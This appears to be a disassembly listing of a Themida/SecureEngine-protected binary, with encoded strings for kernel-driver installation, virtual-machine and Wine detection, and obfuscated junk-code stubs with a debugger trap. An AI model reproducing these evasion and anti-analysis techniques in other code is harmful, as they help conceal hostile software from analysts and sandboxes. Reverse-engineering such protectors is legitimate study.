		dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h
		dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h
		dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h
		dd 736E6165h, 732E3233h, 7379h,	48h dup(0)
		dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h
		dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h
		dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h
		dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h
		dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h
		dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h
		dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h
		dd 676F7270h, 2E6D6172h, 59h dup(0)
		dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh
		dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h
		dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh
		dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h
		dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0)
		dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h
		dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h
		dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h
		dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h
		dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h
		dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h
		dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh
		dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0)
		dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0)
		dd 4F5C7325h, 6E616572h, 78762E73h, 64h, 2 dup(0)
aXprotevent	db 'XprotEvent',0
		align 4
		dd 0Ah dup(0)
		dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h
		dd 6567h, 43000000h, 74616572h,	65764565h, 4120746Eh, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h
		dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h
		dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h
		dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h
		dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h
		dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h
		dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h
		dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h
		dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h
		dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h
		dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh
		dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h
		dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h
		dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h
		dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h
		dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh
		dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0)
		dd 10h,	0FF000100h, 17FFEFFh, 1000000h,	4A000000h, 2, 0F000100h
		dd 40800h, 94h,	5, 1, 0A28h, 2,	21h dup(0)
		dd 74666F53h, 65726177h, 6E69575Ch
		db 65h,	0
; ---------------------------------------------------------------------------


loc_57963A:				; CODE XREF: Themida_:loc_57857Ej
		mov	eax, esp
		mov	dl, 0D1h
		mov	[ebp+60E15A1h],	eax
		push	0
		push	edx
		call	sub_57964F
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57964F	proc near		; CODE XREF: Themida_:00579647p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_57964F	endp

; ---------------------------------------------------------------------------
		db 76h
; ---------------------------------------------------------------------------
		jmp	esi
; ---------------------------------------------------------------------------
		dw 0E606h
		dd 0D9808CEFh, 0FC08BA7h, 388h,	0D78B6600h, 0E21BD83h
		dd 7500060Eh, 0C5BD8309h, 60E0Fh, 53501974h, 3DB8C08Bh
		dd 89000004h, 0E1D9D85h, 6C9D8D06h, 0FF0610A8h,	83585BD3h
		dd 0E0FC5BDh, 17740006h, 3DB85350h, 89000004h, 0E1D9D85h
		dd 5B9D8D06h, 0FF0610A5h, 31585BD3h, 0E19DD95h,	68C0F06h
		dd 89000000h, 0E0AA595h, 2BC08B06h, 0E0239BDh, 0B9C08B06h
		dd 64A49932h, 8F1B589h,	0BD83060Eh, 60E0E21h, 83097500h
		dd 0E0FC5BDh, 13740006h, 0C08B5350h, 0B8h, 0E9D8D00h, 0FF0610A7h
		dd 83585BD3h, 0E0FC5BDh, 11740006h, 0B85350h, 8D000000h
		dd 10A5BF9Dh, 5BD3FF06h, 0DCDA8058h, 202D950Bh,	0C08B060Eh
		dd 7B19529h, 0C08B060Eh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 15h, 0CBC35242h, 0FE91Fh, 82A10000h, 0C1EA3B47h
		dd 7D32C36h, 9046D35Dh,	21BD8311h, 60E0Eh, 0BD830975h
		dd 60E0FC5h, 50137400h,	0B8C08B53h, 0
; ---------------------------------------------------------------------------
		lea	ebx, [ebp+610A640h]
		call	ebx
		pop	ebx
		pop	eax
		cmp	dword ptr [ebp+60E0FC5h], 0
		jz	short loc_5797A8
		push	eax
		push	ebx
		mov	eax, 0
		lea	ebx, [ebp+610A58Dh]
		call	ebx
		pop	ebx
		pop	eax


loc_5797A8:				; CODE XREF: Themida_:00579795j
		sub	edi, [ebp+60E3389h]
		mov	[ebp+60E0375h],	ecx
		and	edx, [ebp+60E0371h]
		mov	eax, eax
		and	edx, [ebp+60E1DFDh]
		mov	eax, eax
		pusha
		push	ebx
		sub	[ebp+60E28F5h],	esi
		pop	ecx
		cld
		popa
		cmp	dword ptr [ebp+60E0E21h], 0
		jnz	short loc_5797E1
		cmp	dword ptr [ebp+60E0FC5h], 0
		jz	short loc_5797F4


loc_5797E1:				; CODE XREF: Themida_:005797D6j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 0
		lea	ebx, [ebp+610A6A7h]
		call	ebx
		pop	ebx
		pop	eax


loc_5797F4:				; CODE XREF: Themida_:005797DFj
		cmp	dword ptr [ebp+60E0FC5h], 0
		jz	short loc_57980E
		push	eax
		push	ebx
		mov	eax, 0
		lea	ebx, [ebp+610A5A6h]
		call	ebx
		pop	ebx
		pop	eax


loc_57980E:				; CODE XREF: Themida_:005797FBj
		movzx	edi, bx
		push	0
		push	eax
		call	sub_57981C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57981C	proc near		; CODE XREF: Themida_:00579814p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_57981C	endp

; ---------------------------------------------------------------------------
		dd 8B30044Dh, 0CE8C0h, 41AB0000h, 9C3287D4h, 5F4BB8C0h
		dd 0D18BBAA3h, 0E9C08B5Fh, 0Eh,	0D8FBDFF5h, 79240F08h
		dd 2EA8A3D5h, 81664840h, 839847CFh, 0E0E21BDh, 9750006h
		dd 0FC5BD83h, 7400060Eh, 8B535013h, 0B8C0h, 9D8D0000h
		dd 610A5D9h, 585BD3FFh,	0C1EA8166h, 6AC08B9Eh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0E932C357h, 12h, 6D64EBF5h, 725AA548h, 7769AF18h, 8BC15997h
		dd 0E9506E9Eh, 14h, 0C9250B5Dh,	0C9C4912Ah, 491EA6Bh, 47CFFB84h
		dd 9E1995FEh, 0F9C08B59h, 0E21BD83h, 7500060Eh,	0C5BD8309h
		dd 60E0Fh, 53501974h, 0D0B8C08Bh, 89000007h, 0E1D9D85h
		dd 6C9D8D06h, 0FF0610A8h, 83585BD3h, 0E0FC5BDh,	17740006h
		dd 0D0B85350h, 89000007h, 0E1D9D85h, 5B9D8D06h,	0FF0610A5h
		dd 0F585BD3h, 68Fh, 7DBD8B00h, 0B5060E0Dh, 19D898Eh, 8B060E0Ah
		dd 0C6D7B2C0h, 0E2F1185h, 5E95306h, 83000000h, 0D2330388h
		dd 395F9068h, 218D8999h, 0F8060E1Fh, 19F5B5FFh,	0EA8A060Eh
		dd 38B0Fh, 0B70F0000h, 0AD858DD3h, 0FF060E3Bh, 56006AD0h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 958B063Bh, 60E1685h,	0CBB70F60h, 858961F9h, 60E09B9h
		dd 0C6CEBF0Fh, 0E2F1185h, 85095706h, 60E1D2Dh, 4520668h
		dd 53006A90h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 0F9DC34Ch, 0B5FFCBB7h, 60E19F5h,	0BE9h
		dd 376C7200h, 3756365Bh, 4B21A715h, 3BAD858Dh, 9523060Eh
		dd 60E0D0Dh, 0B70FD0FFh, 818589F8h, 0E9060E2Fh,	8, 7B70FCBDh
		dd 77CFABA5h, 2F1185C6h, 8943060Eh, 0E043195h, 70286806h
		dd 0BD8BBC90h, 60E28CDh, 19F5B5FFh, 8166060Eh, 0F8C9ECFh
		dd 685h, 0BD8D2900h, 8D060E2Fh,	0E3BAD85h, 6E4BB906h, 0D0FF1E1Bh
		dd 136DBD89h, 8589060Eh, 60E1B71h, 1BD19529h, 85C6060Eh
		dd 60E2F11h, 68D08B4Ch,	0D9DA1CE9h, 0B5FFFE8Bh,	60E19F5h
		dd 0CF717EB9h, 0AD858D19h, 89060E3Bh, 0E2DE195h, 6AD0FF06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 12F8C353h, 89205A43h, 0E04D98Dh, 0DFDA8006h
		dd 6D9D0160h, 0F060E2Eh, 8961C0B7h, 0E1C9185h, 958B6006h
		dd 60E0F51h, 0F00ABB66h, 1185C661h, 46060E2Fh, 85DBD0Bh
		dd 1468060Eh, 31BADE06h, 0E296995h, 0F5B5FF06h,	89060E19h
		dd 0E1DA5B5h, 0AD858D06h, 0F060E3Bh, 0E89h, 0DF816000h
		dd 27AEEC65h, 4A0CCA81h, 8B617DACh, 0E2E69BDh, 8BD0FF06h
		dd 0E15858Dh, 0B1858906h, 0F9060E17h, 0AFB86660h, 6850F3Ch
		dd 89000000h, 0E13DD95h, 85C66106h, 60E2F11h, 298D8B47h
		dd 68060E1Ah, 8A0FB5E2h, 19F5B5FFh, 6E9060Eh, 0E6000000h
		dd 5DA4A2C0h, 0AD858DA2h, 60060E3Bh, 2A3DBD89h,	8589060Eh
		dd 60E0BF5h, 8BD0FF61h,	0E3051BDh, 0D1858906h, 8B060E0Fh
		dd 0E219DBDh, 1185C606h, 47060E2Fh, 4A58D8Bh, 8B66060Eh
		dd 0B5F368D0h, 0B96683D0h, 0B5FF078Ah, 60E19F5h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 16C35646h, 996E4B99h
		dd 0E90A56B3h, 0Bh, 4C45E053h, 32C067Ch, 8D918177h, 0E3BAD85h
		dd 0F59D8906h, 33060E1Fh, 0E3531BDh, 66D0FF06h,	5350D78Bh
		dd 595ACF8Bh, 15458589h, 0EE8060Eh, 8E000000h, 91EBF02Ah
		dd 0D0D8B31Bh, 0ABE8EEDAh, 0C9BD8B00h, 5F060E0Fh, 85C60BB5h
		dd 60E2F11h, 5BD2977h, 68060E31h, 0F397A8A3h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 71C35646h, 7CA11C22h
		dd 67981805h, 9E85222h,	78000000h, 0E55DB9B4h, 0DA9C4C65h
		dd 0FADF8166h, 0FF59592Bh, 0E3031B5h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 8E9E51Bh, 0E3000000h, 0A94F9B87h, 8D5B4148h,	0E3BAD85h
		dd 0C9BA6606h, 66D0FFAFh, 0C826E981h, 1E29B589h, 8589060Eh
		dd 60E2501h, 2F1185C6h,	8B47060Eh, 0E21F58Dh, 0FAF66806h
		dd 85098728h, 60E01E5h,	19F5B5FFh, 10E9060Eh, 12000000h
		dd 84B8F374h, 5B254D6Fh, 641AC4CCh, 8D1659B2h, 0E3BAD85h
		dd 89EE8006h, 0D181D0FFh, 7FD9963Eh, 0DF58589h,	0B70F060Eh
		dd 1185C6FEh, 43060E2Fh, 0A5D9D89h, 0FC68060Eh,	6ABC8E6Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 5329C351h, 3C5C475Dh, 19F5B5FFh, 8166060Eh
		dd 8D9556F2h, 0E3BAD85h, 71958906h, 0FF060E14h,	15BD29D0h
		dd 89060E18h, 0E078585h, 6E906h, 0D0EB0000h, 5F00D357h
		dd 2F1185C6h, 8945060Eh, 0E1FCDB5h, 69696806h, 95298E72h
		dd 60E2DCDh, 19F5B5FFh,	0BD29060Eh, 60E1A2Dh, 3BAD858Dh
		dd 8B66060Eh, 8BD0FFC8h, 0E2251BDh, 5D858906h, 6A060E2Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0B404C351h, 7FECF0D5h, 0B589628Fh, 60E352Dh
		dd 0ECD9D09h, 85C6060Eh, 60E2F11h, 6860F44h, 8B000000h
		dd 0E03F595h, 0EC646806h, 0BD2BB8F2h, 60E076Dh,	19F5B5FFh
		dd 9D89060Eh, 60E1CA9h,	3BAD858Dh, 0D68B060Eh, 4CA4BF51h
		dd 0FF595656h, 15890FD0h, 0E8000000h, 9, 0FBC84ADAh, 10180D43h
		dd 45B50940h, 5F060E14h, 13E18589h, 6660060Eh, 0C661FB8Bh
		dd 0E2F1185h, 81664306h, 684A75E7h, 0C0764AA7h,	2D898531h
		dd 0F781060Eh, 189F7A33h, 19F5B5FFh, 6A060Eh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 8B5026C3h
		dd 810F5FD0h, 3, 8DEBDE80h, 0E3BAD85h, 0C1C18106h, 0FF1B4317h
		dd 0E28166D0h, 8589A859h, 60E1ABDh, 8086F180h, 10FB75BDh
		dd 840F0006h, 0ECh, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 4BC35747h, 744E005Ch,	858DF88Fh, 610FB57h
		dd 1CA19589h, 6A50060Eh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 39D7C356h, 7147783Dh
		dd 8E9EAh, 35E00000h, 83FE8D16h, 16AB9FEh, 9E8h, 76390E00h
		dd 6CB7907Ch, 0BD8B4A4Ah, 60E0F59h, 6A006A5Fh, 0C800F00h
		dd 0F000000h, 68Fh, 0D9958900h,	0FF060E23h, 0E1B7195h
		dd 9CA6BA06h, 85896BB6h, 60E0435h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 0BEC35343h,	0CF2282CAh, 0A5952904h
		dd 6A060E0Ch, 0C943BFFFh, 0CE80C2Dh, 7F000000h,	0D3F585C0h
		dd 690892BEh, 8B6F312Ah, 0B5FF5FC8h, 60E0435h, 2F8195FFh
		dd 0FE8B060Eh, 10E8C08Bh, 0A1000000h, 0B815EEF1h, 4236FF46h
		dd 0B6A3BB6Fh, 0E9615DDDh, 0Eh,	0ED71A0D7h, 906C25C4h
		dd 5E077E87h, 835A949Bh, 0E0E21BDh, 9750006h, 0FC5BD83h
		dd 7400060Eh, 8B535019h, 7D1B8C0h, 85890000h, 60E1D9Dh
		dd 0A86C9D8Dh, 0D3FF0610h, 0BD83585Bh, 60E0FC5h, 50177400h
		dd 7D1B853h, 85890000h,	60E1D9Dh, 0A55B9D8Dh, 0D3FF0610h
		dd 8B66585Bh, 2E820FFBh, 0E8000000h, 12h, 0F9B9D8B2h, 0CF2B8381h
		dd 0D0EFFAF7h, 0E00C7A2Bh, 10E8D784h, 61000000h, 0BB8444E8h
		dd 4D01BD26h
		dd 15F54F97h, 591DB01Dh, 6AC08B5Fh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 30AEC356h
		dd 85C681D2h, 60E2F11h,	57006A47h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 89A931FCh, 0E1799B5h
		dd 0F7C16806h, 0BD8B93C8h, 60E23D9h, 14E9h, 2AE76900h
		dd 6952360Fh, 3CD67CFCh, 844FC0E9h, 83DD7464h, 0F5B5FFE7h
		dd 66060E19h, 858DCE8Bh, 60E3BADh, 0FFCFBF0Fh, 915BFD0h
		dd 31506389h, 0E15758Dh, 0DA816606h, 858D5A29h,	610FF98h
		dd 0FFB8B66h, 2288h, 6E800h, 776E0000h,	9F92FF02h, 11E9h
		dd 5A1F700h, 628A6FABh,	3E2000EEh, 7DE923F2h, 0C75A47C1h
		dd 9400h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 4E027423h, 0B70F27E6h, 8DF558FAh
		dd 10FF98B5h, 59F85006h, 0AD858956h, 0FF060E17h, 899533D0h
		dd 8D060E2Fh, 10FF9885h, 0A5952306h, 89060E23h,	0E2F01BDh
		dd 4788306h, 20850F06h,	8B000000h, 0E20758Dh, 0B2BA6606h
		dd 2C85C732h, 1061100h,	0F000000h, 68Eh, 71950300h, 83060E29h
		dd 0E0839BDh, 850F0006h, 52h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0D1C35242h,	952350C3h, 60E0C7Dh
		dd 2CBD83h, 0F000611h, 2185h, 83FB8B00h, 0E1365BDh, 840F0006h
		dd 12h,	85C7D08Bh, 60E2991h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+60E2211h],	esi
		mov	bx, ds
		push	0
		push	ebx
		call	sub_57A1E8
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A1E8	proc near		; CODE XREF: Themida_:0057A1E0p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_57A1E8	endp

; ---------------------------------------------------------------------------
		neg	byte ptr cs:[ecx]
		mov	ecx, 8910D608h
		lea	esi, [ebp+27h]
		push	cs
		push	es
		test	bl, 4
		jz	loc_57A78E
		mov	dword ptr [ebp+60E0D79h], 0
		mov	ecx, [ebp+60E0211h]
		cmp	byte ptr [ebp+610FB82h], 0
		jnz	loc_57A247
		push	0
		push	ebx
		call	sub_57A236
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A236	proc near		; CODE XREF: Themida_:0057A22Ep

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_57A236	endp

; ---------------------------------------------------------------------------
		db 0Bh
; ---------------------------------------------------------------------------


loc_57A247:				; CODE XREF: Themida_:0057A225j
		mov	byte ptr [ebp+60E2F11h], 47h
		jmp	loc_57A25B
; ---------------------------------------------------------------------------
		db 0D8h
; ---------------------------------------------------------------------------
		cmp	byte ptr ds:5DA2FB39h, 0C0h


loc_57A25B:				; CODE XREF: Themida_:0057A24Ej
		call	near ptr loc_57A265+1
		mov	edi, 4D051B53h


loc_57A265:				; CODE XREF: Themida_:loc_57A25Bp
		sal	dword ptr [edx-7997A5C9h], cl
		pop	ebx
		in	al, 0E3h
		sub	[ebp+60E31B1h],	ecx


loc_57A274:				; CODE XREF: Themida_:0057A29Cj
		push	dword ptr [ebp+60E19F5h]
		jmp	loc_57A28A
; ---------------------------------------------------------------------------
		db 57h
		dd 0E3E22819h, 0ADD73CA4h
		db 2, 0Dh
; ---------------------------------------------------------------------------


loc_57A28A:				; CODE XREF: Themida_:0057A27Aj
		lea	eax, [ebp+60E3BADh]
		pusha
		call	near ptr loc_57A29E+1
		jbe	short near ptr loc_57A2A5+4
		dec	esi
		cmp	eax, [ebx-33h]
		loop	loc_57A274


loc_57A29E:				; CODE XREF: Themida_:0057A291p
		or	al, [eax+605965DBh]
		clc


loc_57A2A5:				; CODE XREF: Themida_:0057A296j
		mov	ecx, [ebp+60E3049h]
		popa
		popa
		call	eax
		mov	dx, si
		push	104h
		add	dx, 0B15Dh
		mov	dx, 6636h
		lea	ebx, [ebp+60E2799h]
		and	edx, 216D9318h
		push	ebx
		mov	dh, 71h
		call	near ptr loc_57A2DC+2
		pop	ebx
		mov	esp, 80A8556Fh
		insd
		in	al, dx


loc_57A2DC:				; CODE XREF: Themida_:0057A2CFp
		jmp	far ptr	0E07h:8D9D898Ch
; ---------------------------------------------------------------------------
		push	es
		pop	ecx
		call	eax
		push	0
		push	esi
		call	sub_57A2F2
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A2F2	proc near		; CODE XREF: Themida_:0057A2EAp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_57A2F2	endp

; ---------------------------------------------------------------------------
		dw 0BA3Eh
; ---------------------------------------------------------------------------
		cmp	[ecx-431A341Eh], al
		xor	ecx, [ebp+0E279985h]
		push	es
		push	0
		push	edi
		call	sub_57A31C
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A31C	proc near		; CODE XREF: Themida_:0057A314p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_57A31C	endp

; ---------------------------------------------------------------------------
		dd 8166B6F1h, 50B0F2C2h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0B7C35343h, 5ACA8B51h, 8DBCE680h, 10FB3485h
		dd 12E806h, 0A5200000h,	44347EE2h, 0B0C1DC10h, 0D80A5291h
		dd 51C3E0A1h, 0E18D2960h, 89060E0Bh, 0E0DAD9Dh,	505F6106h
		dd 13E8h, 1368C00h, 0D05A5310h,	256574ACh, 5175CA23h, 7DBAC554h
		dd 68C0Fh, 0C9810000h, 4D9800Ch, 7858D5Ah, 0F0610F2h, 18Fh
		dd 0F50F900h, 68Ah, 860F00h, 0FF000000h, 0E250195h, 18D8B06h
		dd 83060E22h, 11E80CC4h, 0A5000000h, 90C68246h,	84E4B291h
		dd 0EEB6B2DBh, 453DB40Ch, 5FCF8B66h, 458D3353h,	59060E20h
		dd 8068006Ah, 6A000000h, 6A006A03h, 6800h, 858D8000h, 610F207h
		dd 8595FF50h, 89060E07h, 10FB1785h, 1185C606h, 47060E2Fh
		dd 0B15E8768h, 0F5B5FFC7h, 8D060E19h, 0E3BAD85h, 6AD0FF06h
		dd 17B5FF00h, 0FF0610FBh, 5890FD0h, 66000000h, 3A0EC281h
		dd 13E9h, 212FD700h, 0D260B343h, 0AE947B51h, 59175EABh
		dd 4F09FA41h, 3D84E280h, 37D0h,	34830Fh, 81660000h, 0FF1F60CAh
		dd 10FB17B5h, 719D2906h, 0FF060E04h, 0E1ABD95h,	0DE906h
		dd 85ED0000h, 2371BE50h, 33B0E36h, 0E9BE7DF4h, 0C3h, 19358589h
		dd 0B5FF060Eh, 610FB17h, 1B29BD03h, 95FF060Eh, 60E1ABDh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0E2C35646h
		dd 897FD26Eh, 0E1305BDh, 29006A06h, 0E0995BDh, 23006A06h
		dd 0E313D8Dh, 6A56B206h, 6AF18A00h, 0EEB86000h,	335AA49Dh
		dd 0E13BD85h, 6A6106h, 0A9AB65BFh, 8B006A09h, 0E33CD95h
		dd 10DD8006h, 0FB1B858Dh, 12E90610h, 2E000000h,	194C50E3h
		dd 0A5FDF307h, 8DF15EBDh, 45172A9Fh, 6E85069h, 0AA000000h
		dd 0D2C775B8h, 1D95899Eh, 5F060E0Ch, 78595FFh, 0BD89060Eh
		dd 60E09B5h, 0FFFF883h,	1A585h,	65952900h, 66060E0Ah, 8D8A82BFh
		dd 10B6A785h, 298D8B06h, 0FF060E0Bh, 53006AD0h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 745243CAh
		dd 0D68543B3h, 6AB3B6h,	4810Fh,	0B9660000h, 6A7B7Eh, 29F59501h
		dd 6A060Eh, 2890Fh, 0D78A0000h,	8A0F006Ah, 0Ah,	5E9h, 45E60C00h
		dd 0C88B4232h, 8509006Ah, 60E16CDh, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 7DA442C3h
		dd 666CDB6Eh, 858DCA8Bh, 610FB1Bh, 11E852h, 0B8B70000h
		dd 84916AF8h, 0A1678B6h, 95B005A4h, 0E937003Bh,	0Dh, 2DE7B292h
		dd 7EAF37A0h, 8C94617Fh, 8B5F5A04h, 0E1FDDBDh, 6A5006h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 2D1742C3h, 1B6D8D8Bh, 95FF060Eh, 60E0785h, 95896060h
		dd 60E2AB9h, 0EAD491B8h, 0DE96106h, 0EC000000h,	4D63CF57h
		dd 0DC9C0ED1h, 3A17E9ADh, 0FFF88361h, 7C850Fh, 11E80000h
		dd 4D000000h, 8B586D34h, 0B85D627h, 0A449C6EDh,	0AAE07272h
		dd 167D958Bh, 8D5A060Eh, 10F523B5h, 5D958B06h, 8D060E2Dh
		dd 10A19685h, 0FFD38B06h, 88BA66D0h, 66006A66h,	9CB0C981h
		dd 2E5D95FFh, 6A060Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 3432EFC3h, 79C69D38h, 0FE960h, 73EB0000h
		dd 9B9510B3h, 3ACD0BA5h, 0D9AC2347h, 8589616Ah,	610FB17h
		dd 6A3AC1B9h, 29006A32h, 0E0F918Dh, 0A18D8906h,	8D060E34h
		dd 10FB0F85h, 0BD096006h, 60E2AA9h, 21D9958Bh, 5061060Eh
		dd 18D0Fh, 6AF50000h, 7DBD2B04h, 8D060E0Ah, 0E17E585h
		dd 0ABF2B906h, 56500C17h, 5FFEB70Fh, 0BD89006Ah, 60E038Dh
		dd 6AFC006Ah, 0B5FFF901h, 610FB17h, 239BD31h, 8960060Eh
		dd 0E0099B5h, 95FF6106h, 60E13E1h, 51BD2BF5h, 0E9060E02h
		dd 1BA2h, 6E8h,	445FD600h, 81DD025Dh, 76BCFFEFh
		db 2Dh,	5Ah
; ---------------------------------------------------------------------------


loc_57A78E:				; CODE XREF: Themida_:0057A208j
		mov	eax, eax
		push	0
		push	ecx
		call	sub_57A79B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A79B	proc near		; CODE XREF: Themida_:0057A793p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_57A79B	endp

; ---------------------------------------------------------------------------
		sub	dl, cl
		int	3		; Trap to Debugger
		test	[ecx], ebx
		scasb
		mov	edx, [ebp+60E0CDDh]
		cmp	dword ptr [ebp+60E0E21h], 0
		jnz	short loc_57A7C9
		cmp	dword ptr [ebp+60E0FC5h], 0
		jz	short loc_57A7E2


loc_57A7C9:				; CODE XREF: Themida_:0057A7BEj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 7D2h
		mov	[ebp+60E1D9Dh],	eax
		lea	ebx, [ebp+610A86Ch]
		call	ebx
		pop	ebx
		pop	eax


loc_57A7E2:				; CODE XREF: Themida_:0057A7C7j
		cmp	dword ptr [ebp+60E0FC5h], 0
		jz	short loc_57A802
		push	eax
		push	ebx
		mov	eax, 7D2h
		mov	[ebp+60E1D9Dh],	eax
		lea	ebx, [ebp+610A55Bh]
		call	ebx
		pop	ebx
		pop	eax


loc_57A802:				; CODE XREF: Themida_:0057A7E9j
		push	0
		push	esi
		call	sub_57A80D
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57A80D	proc near		; CODE XREF: Themida_:0057A805p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_57A80D	endp

; ---------------------------------------------------------------------------
		db 73h,	0E9h, 11h
